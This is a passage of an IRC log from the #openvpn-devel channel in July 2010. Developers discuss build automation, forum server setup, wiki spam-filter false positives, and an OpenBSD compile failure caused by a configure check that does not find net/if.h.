14:39 <@mattock> is m8 equal to mate? 14:40 <@dazo> m8 be :-P 14:40 <@cron2> mattock it doesn't work that well in english :) 14:40 <@cron2> in german, it's really good - 8 = "acht", night = "nacht", so n8 = "nacht" 14:41 <@dazo> clever! 14:41 <@mattock> oh yes, took a while to get it :)... aufwiedersehen, cron2. Ich auch kann ein bischen Deutsche sprechen 14:41 <@mattock> or something like that :) 14:41 <@dazo> und ich kann das verstehen :-P 14:41 <@mattock> two years in primary school (18 years ago) :D 14:42 <@mattock> my german is a little rusty 14:42 <@dazo> mine too 14:42 <@dazo> (never really practised it) 14:42 <@mattock> neither did I 14:43 <@mattock> I definitely should attend some university course to rehearse my German 14:43 <@mattock> =improve 14:43 <@cron2> we need to have a big beer drinking event here in germany when 2.2 is finally released :-) 14:43 <@mattock> cron2: +1 14:43 <@dazo> cron2: +1 14:43 <@mattock> where exactly in Germany? 14:43 <@cron2> Munich 14:44 <@cron2> Oktoberfest town :)) 14:44 <@mattock> great! there's an airport there :) 14:44 <@mattock> and it's close to Austria 14:44 <@cron2> (though I don't usually go there, too many tourists) 14:44 <@mattock> I've visited the Munich airport twice 14:44 <@dazo> hmmmm ....... that's only 6-7 hours driving away or so 14:45 <@cron2> ok, child and wife really call for me now - see you tomorrow! 14:45 <@dazo> cron2: n8! 14:45 <@mattock> cron2: see you! 14:45 <@mattock> hyvää yötä! (n8 in finnish) 14:45 <@mattock> bye! 14:45 <@dazo> bye! 14:49 -!- dazo is now known as dazo_afk 14:56 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 248 seconds] 16:46 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 19:00 -!- Netsplit *.net <-> *.split quits: krzie, agi 19:11 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 20:11 -!- Netsplit *.net <-> *.split quits: agi 20:22 -!- Netsplit over, joins: agi 20:54 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 23:24 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 23:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] --- Day changed Fri Jul 02 2010 01:12 -!- mape2k [~mape2k@p5B286944.dip.t-dialin.net] has joined #openvpn-devel 01:55 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 01:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:03 -!- dazo_afk is now known as dazo 04:26 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 04:46 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 05:43 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 245 seconds] 05:50 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 09:42 -!- Yarrick [banverk@rankine.df.lth.se] has quit [Quit: Changing server] 09:42 -!- Yarrick [glatta@rankine.df.lth.se] has joined #openvpn-devel 11:22 -!- mape2k [~mape2k@p5B286944.dip.t-dialin.net] has quit [Ping timeout: 264 seconds] 11:38 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 11:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:26 <@dazo> mattock: I've been thinking a bit about buildbot ... I think we will need several build runs for the allmerged, with different ./configure options ... to make sure the different "most commonly used" options do build 12:26 <@mattock> agreed 12:27 <@mattock> adding new build setups is easy 12:27 <@mattock> and should not require any more buildslaves - unless we want to test that build works without having some dependency installed 12:28 <@mattock> in which case we need a buildslave which does not have it installed 12:28 <@dazo> yeah 12:29 * dazo just pushed out a new beta2.2 branch 12:32 <@mattock> nice! 12:34 <@mattock> I was thinking of using BuildBot to create packages for Ubuntu 9.10, 10.4 and Debian Lenny for starters. I'm not as familiar with RPM-based distros, so it'd take more time 12:34 <@mattock> Fedora would perhaps be a good next step 13:08 -!- dazo is now known as dazo_afk 13:17 < chantra> mattock: for ubuntu, when build is successfull, maybe an option is to push to launchpad 13:17 <@mattock> yep, that's true 13:17 < chantra> it will take care of building x86/amd64... 13:17 < chantra> but IIRC, you need to dpkg-buildpackage it in the first place 13:17 <@mattock> chantra: how much bureaucracy is involved in pushing to launchpad? 13:18 <@mattock> after the account has been created an all 13:18 < chantra> mattock: not much, create a launchpad account 13:18 < chantra> and read .... 13:18 * chantra getting link 13:18 < chantra> https://help.launchpad.net/Packaging/PPA 13:18 < vpnHelper> Title: Packaging/PPA - Launchpad Help (at help.launchpad.net) 13:19 < chantra> there is some limitation in term of size of repo AFAIR 13:20 < chantra> quoting: Each PPA gets 2 GiB of disk space. If you need more space for a particular PPA, ask us. 13:20 < ecrist> mattock, did you get my email? 13:20 <@mattock> 2GB is plenty 13:20 < chantra> so it should be fine if you can explain why you need more space 13:20 < chantra> and i think debian as a similar thing, alioth maybe 13:20 <@mattock> ecrist: haven't looked since morning 13:20 < ecrist> ok 13:21 <@mattock> oh, read it 13:21 <@mattock> didn't realize forums setup was so far already :) 13:22 < ecrist> mattock, I'm just waiting on you guys, at this point. :) 13:22 <@mattock> damn, you're putting pressure on us :) 13:23 < ecrist> hey now, I gave you guys a month off in my lag on getting it done to begin with. 13:23 < ecrist> tbh, andrew probably has the most labor-intensive job regarding the forums 13:23 < ecrist> at this point 13:24 < chantra> mattock: http://code.google.com/p/debppa/ seems to be something that can be used.... but resources would be needed 13:24 < vpnHelper> Title: debppa - Project Hosting on Google Code (at code.google.com) 13:25 < ecrist> installing/configuring a freebsd is something I can do in my sleep, and the forum install was basically a tar -cz /path/to/forum | ssh forum.openvpn.net tar -xzv 13:25 < ecrist> or such 13:26 <@mattock> I haven't so far put too much effort on forums, because we already have them... even if they're not "official". It seems I've found ways to keep busy nevertheless :) 13:26 <@mattock> but setting a launch data was a good idea 13:26 <@mattock> ecrist: have you configured the MTA/SMTP settings? 13:27 <@mattock> still haven't received the account confirmation mail 13:27 < chantra> ok, weekend time 13:27 < chantra> c u 13:27 <@mattock> see you! 13:28 < ecrist> mattock: I think andrew was going to do that. 13:29 <@mattock> ok, so the activation mail is still floating somewhere (hopefully) 13:29 <@mattock> I'll ask him 13:29 < ecrist> I just activated the account for you 13:30 <@mattock> ok, great 13:31 < ecrist> postfix failed to start, I've fixed it, queue flushed, you should get an email shortly. 13:37 <@mattock> still now mail 13:38 <@mattock> still _no_ mail 13:38 < ecrist> oh, that's because they changed the email settings. I don't know where it would have gone. 13:39 <@mattock> does phpbb use postfix or does it have an internal php mailer? 13:39 < ecrist> it will use either. 13:39 < ecrist> it will use the php mail function with system mail, OR an external smtp server 13:39 < ecrist> andrew configured it for the external smtp server 13:42 <@mattock> does "FATAL" in postfix logs really mean fatal? 13:43 < ecrist> usually 13:43 <@mattock> postfix/local[7270]: fatal: open database /etc/aliases.db: No such file or directory 13:43 < ecrist> yeah, don't worry about that 13:43 <@mattock> oh, so fatal is not really fatal :) 13:47 <@mattock> I'll install some ports now 13:47 <@mattock> seems to go smoothly 13:52 <@mattock> ecrist: does douglashaber.com say anything to you 13:52 <@mattock> ? 13:55 <@mattock> installed nano, my editor of choice and GNU screen 13:56 <@mattock> pf seems to installed 13:56 <@mattock> perhaps openvpn... 13:56 <@mattock> next 13:56 <@mattock> unless we want to use "testing" 13:56 <@mattock> ecrist: how do I install your "experimental" port? any good links? 13:56 < ecrist> cd /usr/ports/security/openvpn-devel 13:57 < ecrist> make install 13:57 <@mattock> oh, it's in the same ports tree 13:57 <@mattock> great 13:58 <@mattock> if you guys don't mind, I'll create a new file, /README.server, where I'll put a brief summary of my own changes 13:59 <@mattock> I'd love if you could do the same... I hate it when somebody has (unintentionally) broken something I've configured and I don't have any clue what has happened 13:59 <@mattock> your call :) 13:59 < ecrist> sure, I can do that. 14:00 <@mattock> the FreeBSD build option prompt is nice... reminds me of Debian :) 14:00 <@mattock> very similar 14:05 <@mattock> ok, /README.server is now there 14:15 <@mattock> ecrist: who is 2028:2028? That user is missing from forums.openvpn.net 14:15 < ecrist> where do you see that? 14:16 <@mattock> /usr/local/www/forum 14:16 < ecrist> oh, that's dougy's uid on my webserveer 14:16 <@mattock> there's also a user with ID 33 14:17 < krzie> and dougy doesnt need to be on any openvpn.net machines ;] 14:17 < krzie> heheh 14:17 < ecrist> right uid just went along for the ride 14:17 < ecrist> no idea about uid 33 14:17 < krzie> sounds like a masonic user 14:26 <@mattock> ok, got to go, getting late... Andrew and Frank are theming phpbb now 14:26 <@mattock> I'll get to my forum tasks on monday 14:36 <@mattock> postfix works just fine, the issue is in phpbb 14:36 <@mattock> andrew will take a look at it 14:45 < ecrist> ok 15:35 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Read error: Operation timed out] 17:38 -!- Netsplit *.net <-> *.split quits: waldner, Yarrick, yam 17:40 -!- Netsplit *.net <-> *.split quits: agi 17:41 -!- Netsplit over, joins: waldner, Yarrick, agi 18:40 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 23:56 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 23:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sat Jul 03 2010 00:18 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 00:43 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 245 seconds] 00:45 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:04 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 08:42 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:55 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 12:43 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 14:19 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] --- Day changed Sun Jul 04 2010 00:46 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 276 seconds] 00:47 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 03:07 -!- cp7 [nebula@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 04:38 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 260 seconds] 06:06 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 07:00 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 264 seconds] 07:44 -!- mape2k [~mape2k@p5B284CD2.dip.t-dialin.net] has joined #openvpn-devel 08:03 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 08:19 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Connection reset by peer] 09:38 -!- mape2k [~mape2k@p5B284CD2.dip.t-dialin.net] has quit [Quit: Leaving] 11:46 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 14:28 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 14:48 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 16:51 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 16:53 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 19:29 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 19:59 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Mon Jul 05 2010 00:47 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 265 seconds] 00:49 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:16 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:07 < HanX> hi 04:07 < HanX> i would like "install source for windows" 04:07 < HanX> like this -> http://openvpn.se/files/install_packages_source/ 04:07 < vpnHelper> Title: Index of /files/install_packages_source (at openvpn.se) 04:08 < HanX> but i would like with the latest version 04:08 < HanX> (i need this to create my "own" .msi) 04:09 < krzie> saw !win_rollup in the help channel? 04:11 < HanX> no 04:11 < HanX> it's a devel question :) 04:12 < krzie> [05:12] !win_rollup 04:12 < krzie> [05:12] krzie: "win_rollup" is please see http://www.secure-computing.net/wiki/index.php/OpenVPN/HowTo_for_Windows_2 for dazo's writeup on making unattended windows installers for openvpn 04:12 < vpnHelper> Title: OpenVPN/HowTo for Windows 2 - Secure Computing Wiki (at www.secure-computing.net) 04:18 < HanX> oh :) 04:19 < krzie> =] 04:28 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 05:24 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Connection reset by peer] 07:32 -!- fkr [fkr@devon.fsck.us] has quit [Ping timeout: 240 seconds] 07:33 -!- fkr [w3x5gqrm67@devon.fsck.us] has joined #openvpn-devel 10:55 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 11:02 -!- chantra [~chantra@unaffiliated/chantra] has quit [Remote host closed the connection] 11:06 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 11:51 -!- openvpn2009 [patel@matrix.openvpn.org] has quit [Remote host closed the connection] 11:51 -!- openvpn2009 [root@matrix.openvpn.org] has joined #openvpn-devel 11:51 -!- openvpn2009 is now known as Guest12047 11:52 -!- Guest12047 is now known as openvpn2009 11:53 -!- openvpn2009 [root@matrix.openvpn.org] has quit [Remote host closed the connection] 11:53 -!- Guest12047 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:54 -!- Guest12047 is now known as openvpn2009 14:44 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 15:36 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:04 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 20:44 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 23:24 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Jul 06 2010 00:15 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 00:49 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 260 seconds] 00:51 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:30 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 03:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 03:39 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:06 <@cron2> mattock: are you around? 11:06 <@mattock> yep 11:06 * cron2 has a problem with the openvpn.net wiki - my submissions are classified as "SPAM" 11:07 <@mattock> just a moment 11:09 <@mattock> could you reload the front page and let me know if you notice the relevant part :) 11:09 <@cron2> which page exactly? 11:10 < krzie> stop spamming! 11:10 < krzie> ;] 11:10 <@cron2> ah, there 11:11 <@mattock> I just changed it to be more visible 11:11 <@mattock> so far everyone stumbled upon this issue, so you're not the only one :) 11:11 <@mattock> unfortunately, there's no easy way around the training issues 11:12 <@cron2> hrhr :) - I think it still won't work, people just don't look at instructions :-) 11:12 <@cron2> I have updated my preferences, let's see... :) 11:12 <@cron2> gah, still SPAM 11:13 < krzie> it could be the link for viagra... 11:14 <@cron2> do I need to logout/login again? 11:15 <@cron2> done, still SPAM 11:15 <@cron2> *roll eyes* 11:16 <@mattock> hmm 11:16 <@mattock> ok, so akismet filtering is the cause: AkismetFilterStrategy (-5): Akismet says content is spam 11:17 <@cron2> that's what it tells me. I'd like to log a complaint! 11:17 <@mattock> I'll add the page myself, it won't complain as I'm admin 11:17 < krzie> http://conference.freeswitch.org/number.jpg 11:18 <@mattock> cron2: where do you want the page to be? 11:18 <@mattock> "Packaging"? 11:21 <@cron2> well, dunno, I went for .../wiki/OpenVPNforOpenWRT 11:21 <@mattock> ok, the page is now here: https://community.openvpn.net/openvpn/wiki/OpenvpnDevelPackageForOpenWRT 11:21 < vpnHelper> Title: OpenvpnDevelPackageForOpenWRT – OpenVPN (at community.openvpn.net) 11:21 <@cron2> ok, let's try to edit it 11:21 <@mattock> on the bright side this means that Akismet is working - even if improperly :) 11:21 <@cron2> ah, cool, the content is already in there :) 11:21 <@mattock> it _might_ catch some real spam, too 11:22 <@mattock> cron2: you could try editing the content and see what happens 11:23 <@cron2> that worked 11:23 <@cron2> strange, maybe "too much stuff in one go" = "SPAM" or so 11:24 <@mattock> perhaps... 11:24 <@mattock> I'll report this false positive to akismet tomorrow 11:25 <@mattock> ...on my todo list now 11:25 <@mattock> so far this has been the only false positive 11:26 <@cron2> it's always me... 11:53 <@cron2> mattock: is there an overview page that points to the individual "OpenvpnDevelPackageForXYZ" pages? 11:53 <@mattock> yep, see "Packaging OpenVPN" under "Documentation" heading 11:53 <@mattock> I'll be adding articles there soonish 11:54 <@cron2> ah, perfect :-) 12:42 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 15:19 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 20:42 < krzee> grr 20:43 < krzee> the FAQ got redone and now the tags are broken 20:43 < krzee> http://openvpn.net/index.php/open-source/faq.html#slash30 20:43 < vpnHelper> Title: FAQ Community (at openvpn.net) 21:10 < ecrist> again? 21:10 < ecrist> they *always* get broken when they edit the darn site. 22:22 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Wed Jul 07 2010 00:51 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 260 seconds] 00:53 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:27 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:54 -!- dazo_afk is now known as dazo 03:23 < krzie> www.ircpimps.org/compile_error.tiff 03:23 < krzie> openbsd compiling openvpn source 03:25 <@cron2> is this openvpn-devel, openvpn-2.1, ...? 03:26 <@cron2> and what OpenBSD version? 03:26 <@cron2> the offending code line is this one 03:26 <@cron2> /* Enable multicast on the interface */ 03:26 <@cron2> ... 03:26 <@cron2> info.flags |= IFF_MULTICAST; 03:27 <@cron2> (ah, it's openvpn-2.1.1, I see the directory name now, sorry for asking :) ) 03:27 < krzie> 2.1.0 03:27 < krzie> oh no it is 2.1.1 03:27 < krzie> ports had 2.1.0, my mistake 03:27 < krzie> (same thing for this) 03:28 < krzie> BSD version 4.7 03:29 <@cron2> I'm not sure I understand the multicast stuff in tun.c - what it's there for, and what it does "on the kernel side of things" 03:29 <@cron2> I can see that it's enabled on OpenBSD, NetBSD, FreeBSD, but not on DRAGONFLY or MacOSX, and not on Linux either... 03:29 < krzie> its fixed in the port 03:30 <@cron2> is 4.7 the most recent OpenBSD version? 03:30 < krzie> yes 03:30 < krzie> but same error on 4.5 03:31 < krzie> a friend brought it to my attention along with some things not working for him that should 03:31 <@cron2> mmmh, this makes me really wonder why the code in tun.c is what it is, who put it there, and why... 03:31 <@cron2> wasn't me :) 03:31 < krzie> i setup a vm, gunna test things, got the same compile error as he did 03:32 < krzie> bout to install ports 03:32 <@cron2> krzie: could you open a trac ticket, please? the code should at least do #ifdef IFF_MULTICAST here - or maybe an include file is missing 03:32 <@cron2> mmmh 03:33 < krzie> !trac 03:33 < vpnHelper> krzie: Error: "trac" is not a valid command. 03:33 <@cron2> could you "grep IFF_MULTICAST /usr/include/*.h /usr/include/*/*.h"? 03:33 <@cron2> krzie: https://community.openvpn.net/ has a trac bug tracker 03:33 < krzie> meh, ill find it through community. 03:33 < vpnHelper> Title: OpenVPN (at community.openvpn.net) 03:33 < krzie> ya 03:33 <@cron2> yes 03:33 <@cron2> let's check the includes first, whether OpenBSD actually has it but we're missing the right include file 03:34 <@cron2> how does the port "fix" it? uncomment the code, or add ? 03:35 <@cron2> NetBSD has IFF_MULTICAST in /usr/include/net/if.h, and sysheads.h already tries to include that, if configure finds it 03:35 <@cron2> ISTR that configure does not properly detect on older NetBSD versions due to some dependency problems, so it might be a similar problem 03:47 <@cron2> krzie: you still there? looks as if I scared you away :) 03:47 < krzie> i was setting up a cvsupfile 03:48 < krzie> now obsd ports is installing 03:49 <@cron2> need to setup an obsd VM here as well... to do test builds... but no time right now 03:51 < krzie> i guess people who run obsd figure out the problem and dont show up in the mail list / help channel more often than not 03:52 < krzie> (they switch to ports to install) 04:08 <@cron2> donloading install47.iso now... 3.5 minutes :-)... native IPv6 all the way! 04:08 < krzie> www.ircpimps.org/openvpn_obsd_port.tgz 04:10 <@cron2> omg, there are way too many patches - they have added new features via the port (--rdomain) 04:10 < krzie> whoa 04:11 < krzie> maybe the authors would like to attend dev meetings 04:11 <@cron2> yes :) 04:11 <@cron2> but surprisingly, there is no fix/patch/change that would affect IFF_MULTICAST 04:13 <@cron2> so my guess is "OpenBSD has /usr/include/net/if.h as does NetBSD, but 2.1.1 configure doesn't find it, while 2.1.0 configure does" 04:13 <@cron2> krzie: could you check /usr/include/net/if.h for IFF_MULTICAST, please? and config.h for HAVE_NET_IF_H? 04:17 < krzie> k 04:17 < krzie> # grep IFF_MULTICAST /usr/include/net/if.h 04:17 < krzie> #define IFF_MULTICAST 0x8000 /* supports multicast */ 04:17 < krzie> IFF_SIMPLEX|IFF_MULTICAST|IFF_ALLMULTI) 04:18 <@cron2> ok, this is part one :-) - the definition is there, so configure is just not finding it 04:20 < krzie> hah the port isnt building either 04:20 <@cron2> haha 04:21 < krzie> now i just dont understand how we've never heard of this 04:21 <@cron2> indeed 04:25 < krzie> cc -DHAVE_CONFIG_H -I. -I/usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0 -I/usr/local/include -I/usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0 -O2 -pipe -pthread -pthread -MT socket.o -MD -MP -MF .deps/socket.Tpo -c -o socket.o /usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0/socket.c 04:25 < krzie> /usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0/socket.c: In function `socket_set_rdomain': 04:25 < krzie> /usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0/socket.c:512: error: `SO_RDOMAIN' undeclared (first use in this function) 04:25 < krzie> /usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0/socket.c:512: error: (Each undeclared identifier is reported only once 04:25 < krzie> /usr/ports/pobj/openvpn-2.1.0/openvpn-2.1.0/socket.c:512: error: for each function it appears in.) 04:25 < krzie> *** Error code 1 04:25 < krzie> Stop in /usr/ports/pobj/openvpn-2.1.0/build-i386 (line 92 of /usr/share/mk/sys.mk). 04:25 < krzie> lol 04:25 < krzie> from their port 04:25 <@cron2> oh, fun. *that* is the local port changes with the rdomain additions :-) 04:26 < fkr> there is already a diff for that 04:26 <@cron2> but regarding the IFF_MULTICAST - I think this needs configure tweaking (and not source fixing), so let's put this into trac and give dazo a few headaches to sort it out :-) 04:26 < fkr> am going to commit that to openbsd ports sometime today 04:26 <@cron2> krzie: if you go to config.h and set "#defined HAVE_NET_IF_H 1" it should compile 04:26 < fkr> basically it is s/rdomain/rtable/ 04:27 < fkr> (for the routing table support) 04:27 < fkr> i can have a look at the multicast stuff 04:27 < fkr> <- maintainer of the openbsd port of openvpn 04:28 <@dazo> krzie: this is in the official 2.1.0/2.1.1 release? 04:28 < krzie> neg 04:28 < krzie> thats the openbsd port 04:28 < krzie> the official one doesnt compile on obsd either 04:28 <@dazo> that's my question :) 04:28 <@dazo> thx! 04:28 < fkr> krzie: well, thats why it is being patched in the port 04:29 < krzie> www.ircpimps.org/compile_error.tiff 04:29 <@dazo> fkr: can you point me to the patch? ... we might want to have this patch upstream 04:29 < krzie> thats official 04:29 < fkr> dazo: one sec 04:29 < fkr> http://www.openbsd.org/cgi-bin/cvsweb/ports/net/openvpn/patches/ 04:29 < vpnHelper> Title: ports/net/openvpn/patches/ (at www.openbsd.org) 04:30 <@dazo> man ... it wasn't just *one* patch .... 04:30 <@cron2> dazo: the compile-time problem is in the "upstream" sources (configure doesn't find and thus IFF_MULTICAST is not found) 04:30 < krzie> dazo, so not official 2.1.0 (thats obsd ports), but yes official 2.1.1 (source) 04:30 < fkr> i will look at 2.1.1 and openbsd 04:31 <@dazo> 2.1.0 and 2.1.1 are the same .... it's only openvpn.spec being different, so not relevant changes for BSD at all 04:31 < fkr> ah 04:31 < fkr> thats right 04:31 < fkr> thats why we skipped it 04:31 * fkr remembers 04:32 < krzie> dazo, im saying from the 2 things i posted, the image with 2.1.1 was from openvpn.net, the 2.1.0 stuff in channel was the error compiling obsd ports 04:32 <@cron2> ok folks, need to drive to work now (otherwise colleagues will have lunch without me, can't have that). someone please put this into trac, with a note "this also affects NetBSD" 04:32 < krzie> ok 04:32 < fkr> http://devon.fsck.us/~fkr/openvpn.diff 04:32 < fkr> thats the diff to the -current port to make it compile on -current again 04:34 <@dazo> fkr: would you mind pulling all the rdomain patches into a single patch, and put a #ifdef around that code ... then we can enable that code as ./configure --enable-rdomain 04:34 <@dazo> patch-syshead_h is interesting too 04:35 < fkr> sure 04:35 < fkr> btw, lots of those patches were shown to openvpn in the past at some point ;) 04:36 < krzie> [05:11] maybe the authors would like to attend dev meetings [05:27] <- maintainer of the openbsd port of openvpn 04:36 < krzie> thats kinda awesome 04:37 < fkr> i did attend some of the dev meetings :) 04:37 < krzie> i know, i didnt realize 04:37 <@dazo> fkr: yeah, but we've changed the development process since then, I hope ... 04:37 <@dazo> :) 04:37 < fkr> :) 04:38 < fkr> thats what I've been telling people in my openvpn related talks at conferences :) 04:38 <@dazo> fkr: but how is this rdomain stuff related to the IF_MULTICAST issue krzie is seeing? 04:38 < fkr> not at all 04:38 < fkr> imho 04:38 < fkr> i will have to look at the multicast thingy 04:40 <@dazo> fkr: then I'll stop worrying about it for now :) could you make sure to get a trac ticket up for this? Just so we don't forget it 04:41 < fkr> ok, will look at the trac after lunch. 04:45 < krzie> adding it now 04:47 < fkr> thanks 04:48 < krzie> Submission rejected as potential spam 04:48 < krzie> lol 04:48 < krzie> mattock, 04:48 <@mattock> krzie: I'll check it 04:48 < krzie> thx =] 04:48 < krzie> gcc -DHAVE_CONFIG_H -I. -I. -g -O2 -MT tun.o -MD -MP -MF .deps/tun.Tpo -c -o tun.o tun.c 04:48 < krzie> tun.c: In function `open_tun': 04:48 < krzie> tun.c:1608: error: `IFF_MULTICAST' undeclared (first use in this function) 04:48 < krzie> tun.c:1608: error: (Each undeclared identifier is reported only once 04:48 < krzie> tun.c:1608: error: for each function it appears in.) 04:49 < krzie> *** Error code 1 04:49 < krzie> Stop in /root/openvpn-2.1.1 (line 92 of /usr/share/mk/sys.mk). 04:49 < krzie> *** Error code 1 04:49 < krzie> Stop in /root/openvpn-2.1.1 (line 630 of Makefile). 04:49 < krzie> *** Error code 1 04:49 < krzie> Stop in /root/openvpn-2.1.1 (line 376 of Makefile). 04:49 < krzie> # 04:49 < krzie> summary: build failure on OpenBSD 4.7 IFF_MULTICAST 04:49 <@mattock> krzie: it's the same issue everybody has had so far, see "Spam filtering" on wiki main page (https://community.openvpn.net/openvpn/wiki) 04:49 < vpnHelper> Title: OpenVPN (at community.openvpn.net) 04:49 <@mattock> you don't have enough "karma" 04:49 <@mattock> :) 04:50 < krzie> ahh 04:51 < krzie> https://community.openvpn.net/openvpn/ticket/17 04:51 < vpnHelper> Title: #17 (build failure on OpenBSD 4.7 IFF_MULTICAST) – OpenVPN (at community.openvpn.net) 04:52 < krzie> thanx 04:52 <@mattock> no probs 04:55 < fkr> i am confused 04:56 < fkr> maybe not ;) 04:56 < krzie> !learn trac as https://community.openvpn.net/openvpn/report for an overview 04:56 < vpnHelper> krzie: Joo got it. 04:57 < krzie> !learn trac as see "Spam filtering" on wiki main page https://community.openvpn.net/openvpn/wiki 04:57 < vpnHelper> krzie: Joo got it. 05:00 < krzie> mattock, assign to fkr? 05:03 <@mattock> ticket 17? 05:05 <@mattock> ok, done... hopefully that's what you meant :) 05:05 <@mattock> ...heading for lunch 05:09 < krzie> yup was 17 =] 05:31 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 05:33 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 06:03 < krzie> fkr, i confirm your diff fixes it for me too 06:03 < krzie> (in the port) 06:04 < krzie> which means whatever source error is, you have it patched already, and it was patched before rc15 (i tested that since it was handy) 06:06 -!- Netsplit *.net <-> *.split quits: krzie 06:09 -!- Netsplit over, joins: krzie 06:21 <@cron2> dazo: IFF_MULTICAST is a more generic configure problem, it fails to find on NetBSD as well. I'll comment that into the trac ticket. 06:22 <@dazo> cron2: thx! ... do we know why it fails to find net/if.h ? 06:23 < krzie> topology subnet is broken in 2.1.1 openbsd port 06:23 < krzie> connects, looks good, doesnt ping (same config did with net30) 06:24 <@dazo> FUN! 06:24 <@cron2> dazo: not yet, I'm just running a configure on netbsd to copy-paste the problematic bits into the trac ticket 06:24 < krzie> ya, thats what i found troubleshooting with a friend 06:24 < krzie> to the point where i installed obsd on a vm 06:25 < krzie> cause it just didnt sound right 06:25 <@dazo> hmm 06:25 <@cron2> ah 06:25 <@cron2> the net/if.h test is missing prerequisites 06:25 <@cron2> In file included from /usr/include/net/if.h:86, from conftest.c:80: 06:25 <@cron2> 